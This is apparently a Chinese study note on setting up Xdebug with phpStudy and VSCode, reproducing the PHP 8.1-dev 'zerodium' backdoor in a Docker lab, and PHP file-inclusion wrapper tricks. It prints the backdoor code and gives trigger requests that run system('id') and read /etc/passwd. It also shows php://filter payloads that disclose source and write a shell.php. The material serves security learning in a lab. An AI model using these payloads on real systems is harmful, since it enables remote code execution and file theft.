xdebug安装

我使用的是小皮面板,在小皮面板路径的www下新建test文件,创建一个phpinfo.php,

<?php
phpinfo();
?>

再在浏览器输入http://127.0.0.1/test/phpinfo.php,右键查看源代码,复制给https://xdebug.org/wizard的框中,它会分析,将分析的内容再复制给AI,如deep seek,让它翻译并整理出具体步骤,

步骤1:下载正确的 Xdebug 版本

下载文件:php_xdebug-3.1.6-7.3-vc15-nts-x86_64.dll

步骤2:放置并重命名扩展文件

  1. 将下载的 DLL 文件移动到:

    D:\phpstudy_pro\Extensions\php\php7.3.4nts\ext\
  2. 重命名为

    php_xdebug.dll

    (注意:不是保留原文件名,而是重命名为 php_xdebug.dll

步骤3:配置 php.ini 文件

  1. 打开配置文件:

    D:\phpstudy_pro\Extensions\php\php7.3.4nts\php.ini
  2. 在文件末尾添加以下配置:

    [Xdebug]
    ; 基本配置(向导要求)
    zend_extension = xdebug

    ; 启用调试功能
    xdebug.mode = debug,develop

    ; 调试连接配置
    xdebug.client_host = localhost
    xdebug.client_port = 9003

    ; 自动启动调试
    xdebug.start_with_request = yes

    ; IDE 密钥(与 VSCode 一致)
    xdebug.idekey = VSCODE

    ; 日志文件(用于排错)
    xdebug.log = "D:\phpstudy_pro\Extensions\php\php7.3.4nts\xdebug.log"
    xdebug.log_level = 7

步骤4:重启 Web 服务器

在小皮面板中重启 PHP 服务,注意端口一致,刷新再在http://127.0.0.1/test/phpinfo.php,查看

步骤5:安装 VSCode PHP Debug 扩展

  1. 打开 VSCode

  2. 点击左侧"扩展"图标(或按 Ctrl+Shift+X

  3. 搜索PHP Debug

步骤6:创建创建调试配置文件

  1. 切换到调试面板

    • 点击左侧调试图标(虫子图标)或按 Ctrl+Shift+D

  2. 创建 launch.json

    • 点击"创建一个 launch.json 文件"

    • 选择 PHP

  3. 选择环境

    • 选择 "Listen for Xdebug"

步骤7:配置 launch.json(关键)

{
    "version": "0.2.0",
    "configurations": [
        {
            "name": "Listen for Xdebug",        // 配置名称
            "type": "php",                      // 类型为 PHP
            "request": "launch",                // 启动方式
            "port": 9003,                       // 端口(必须与 php.ini 一致)
            "pathMappings": {                   // 路径映射(重要!)
                "D:\\phpstudy_pro\\WWW\\": "${workspaceFolder}\\"
            },
            "hostname": "localhost",            // 主机名
            "log": true,                        // 启用日志
            "externalConsole": false,           // 不使用外部控制台
            "stopOnEntry": false                // 不在一开始就暂停
        }
    ]
}
⚠️ 重要:pathMappings 配置

这是最关键的配置,路径必须正确

项目路径示例说明
服务器路径D:\phpstudy_pro\WWW\小皮面板网站根目录
本地路径${workspaceFolder}\VSCode 打开的项目目录
如何确定路径映射?
  1. 找到小皮面板网站根目录

    • 打开小皮面板

    • 点击"网站" → 查看"根目录"列

    • 通常是:D:\phpstudy_pro\WWW\

  2. 找到 VSCode 项目路径

    • 在 VSCode 中,查看左下角状态栏

    • 或按 Ctrl+K Ctrl+P 查看当前文件路径

  3. 示例场景

    • 场景1:整个 WWW 目录作为项目

      "pathMappings": {
          "D:\\phpstudy_pro\\WWW\\": "${workspaceFolder}\\"
      }
    • 场景2:子目录项目

      "pathMappings": {
          "D:\\phpstudy_pro\\WWW\\project\\": "${workspaceFolder}\\"
      }

远程调试PHP底层复现8.1-dev后门

第一步:启动 Docker 容器

在 Ubuntu 虚拟机中执行:

# 1. 拉取镜像
docker pull tuwen/phpsrc-debug:8.1-backdoor

# 2. 运行容器(注意IP和端口映射)
docker run -it --rm --name debug \
  -p 8080:8080 \
  -p 2222:22 \
  tuwen/phpsrc-debug:8.1-backdoor

第二步,私钥准备

运行后会显示私钥,复制这个私钥到 Windows 的 D:\php-debug\private.key 文件。

# 在 Windows 上创建一个工作目录,例如:
# D:\php-debug\
# 在这个目录中:
# 1. 创建一个私钥文件:private.key
# 2. 将教程中的私钥内容粘贴进去

# 右键 private.key → 属性 → 安全 → 高级

# 禁用继承,将以继承的权限转换为此对象的显示权限

#删除到只存在如下权限

#vscode右键以管理员身份打开

第三步:配置 VS Code 远程连接

3.1 安装 Remote-SSH 扩展
  1. 打开 Windows 上的 VS Code

  2. 点击左侧 Extensions 图标(或按 Ctrl+Shift+X)

  3. 搜索 "Remote - SSH"

  4. 点击 Install 安装

3.2 配置 SSH 连接
  1. 点击左下角的绿色 "><" 按钮

  2. 选择 "Connect to Host..."

  3. 选择 "Configure SSH Hosts..."

  4. 选择配置文件(通常是 C:\Users\你的用户名\.ssh\config

  5. 添加以下配置:

Host php-debug
  HostName 192.168.66.129  # 你的虚拟机IP
  Port 2222
  User root
  IdentityFile D:\php-debug\private.key

第四步:连接到 Docker 容器

4.1 建立连接
  1. 在 VS Code 中按 F1

  2. 输入 "Remote-SSH: Connect to Host..."

  3. 注意key文件的更改和ip地址的更改,ip地址是自己虚拟机的ip地址,如果要选系统,就选Linux

  4.               之后这里会显示 "php-debug",点这个,在新窗口创建

  5. 等待连接建立(会显示新窗口)

第五步:在容器中配置开发环境

5.1 打开源码目录

连接成功后,在新窗口:

  1. 点击 "Open Folder"

  2. 输入 /usr/src/php

  3. 点击 OK,进入界面后就可以了

5.2 安装扩展
  1. 在扩展面板搜索 "C/C++"

  2. 找到 Microsoft 的 C/C++ 扩展

  3. 重要:点击 "Install in SSH: php-debug"(不是本地安装)

  4. 可以在安装Dev Containers,等待安装完成

第六步:配置调试环境

6.1 创建调试配置文件
  1. 点击左侧 Run and Debug 图标(或按 Ctrl+Shift+D)

  2. 点击 "create a launch.json file"

  3. 选择 "C++ (GDB/LLDB)",如果没找到,可能是没有在远程安装,或者其他问题,可以先手动创建

  4. 将以下内容复制到 launch.json

{
  "version": "0.2.0",
  "configurations": [
    {
      "name": "(gdb) Launch",
      "type": "cppdbg",
      "request": "launch",
      "program": "/usr/local/bin/php",
      "args": ["-S", "0.0.0.0:8080", "-t", "/var/www/html"],
      "stopAtEntry": false,
      "cwd": "${workspaceFolder}",
      "environment": [],
      "externalConsole": false,
      "MIMode": "gdb",
      "setupCommands": [
        {
          "description": "Enable pretty-printing for gdb",
          "text": "-enable-pretty-printing",
          "ignoreFailures": true
        }
      ]
    }
  ]
}
6.2 创建测试文件(最好提前做)

这个容器运行后,CTRL C会关闭容器,不方便在终端命令行操作

或者按 Ctrl+P,然后 Ctrl+Q(不是同时按,是先按 Ctrl+P,松开,再按 Ctrl+Q)

容器会在后台继续运行,你回到命令行(因为重复多次创建关闭会导致在远程连接时找不到管道路线,可以用快照还原重试)

在 VS Code 终端中执行:

# 创建 web 目录
mkdir -p /var/www/html

# 创建测试 PHP 文件
echo '<?php echo "hello world"; phpinfo(); ?>' > /var/www/html/index.php

# 验证文件
cat /var/www/html/index.php

第七步:设置断点并调试

7.1 找到后门代码
  1. 在左侧文件浏览器中打开:ext/zlib/zlib.c

  2. 按 Ctrl+F 搜索 "zerodium"

  3. 找到这段代码(大约在 360-380 行):

if (strstr(Z_STRVAL_P(enc), "zerodium")) {
    zend_try {
        zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017");
    } zend_end_try();
}
7.2 设置断点
  1. 在 if (strstr(Z_STRVAL_P(enc), "zerodium")) { 这一行左侧点击设置断点

  2. 会显示一个红点

7.3 启动调试
  1. 按 F5 或点击绿色播放按钮

  2. 查看终端输出,应该显示:

    text

    Listening on http://0.0.0.0:8080
7.4 测试访问

在 Windows 浏览器中访问:

text

http://192.168.1.190:8080/

应该看到 "hello world" 和 PHP 信息。

第八步:触发后门进行调试

8.1 发送触发请求

在 Windows 上使用 PowerShell 或 CMD:

powershell

# 方法1:使用 curl(需要安装 curl)
curl -H "User-Agent: zerodiumphpinfo();" http://192.168.1.190:8080/

# 方法2:使用 Invoke-WebRequest
$headers = @{
    "User-Agent" = "zerodiumphpinfo();"
}
Invoke-WebRequest -Uri "http://192.168.1.190:8080/" -Headers $headers

# 方法3:使用 Burp Suite 或 Postman
8.2 观察调试器
  1. 发送请求后,VS Code 应该在断点处暂停

  2. 你可以:

    • 查看 Variables 面板中的变量值

    • 使用 Step Over (F10)、Step Into (F11) 单步调试

    • 在 Debug Console 中执行 GDB 命令

第九步:验证后门

发送测试请求验证后门存在:

powershell

# 测试1:数学计算
curl -H "User-Agent: zerodiumvar_dump(233*233);" http://192.168.1.190:8080/

# 测试2:系统命令
curl -H "User-Agent: zerodiumsystem('id');" http://192.168.1.190:8080/

# 测试3:查看文件
curl -H "User-Agent: zerodiumhighlight_file('/etc/passwd');" http://192.168.1.190:8080/

文件包含

php伪协议

一.【file://协议】

用法:

进行文件读取,需要绝对路径http://127.0.0.1/include/1.php?file=file://D:\phpstudy_pro\WWW\include\1.txt

二.【php://协议】

 php://filter

用法:

php://filter 的作用是读取源代码并进行base64编码输出

不使用php://filter 就会直接当做php代码执行就看不到源代码内容

使用php://filter将源码转换为base64编码

http://127.0.0.1/include/1.php?file=php://filter/read=convert.base64-encode/resource=2.php

使用解码工具查看

https://www.toolhelper.cn/EncodeDecode/Base64

特殊例题

使用Burp,改浏览器代理,使用本地的IP

改请求头,提交两个值

查看提交结果,这个是提交之后出现的

执行此文件无结果(无法执行PHP代码,因为前面有exit,直接退出程序)

解决方式,使用编码

使用filename=php://filter/write=convert.base64-decode/resource=shell.php&txt=aPD9waHAgcGhwaW5mbygpOw==并用a补位

查看结果

执行成功

优化方案,使用过滤器string.strip_tags,先去除标签,再解码

查看结果

乱码去除

三.【zip://, bzip2://, zlib://协议】

zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可以绕过后缀防护。

1.【zip://协议】

使用方法:

zip://archive.zip#dir/file.txt

zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]

2.【bzip2://协议】

使用方法:

compress.bzip2://file.bz2

3.【zlib://协议】

使用方法:

compress.zlib://file.gz

自动解压压缩包 然后把压缩包的文件放下include 进行文件包含

Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐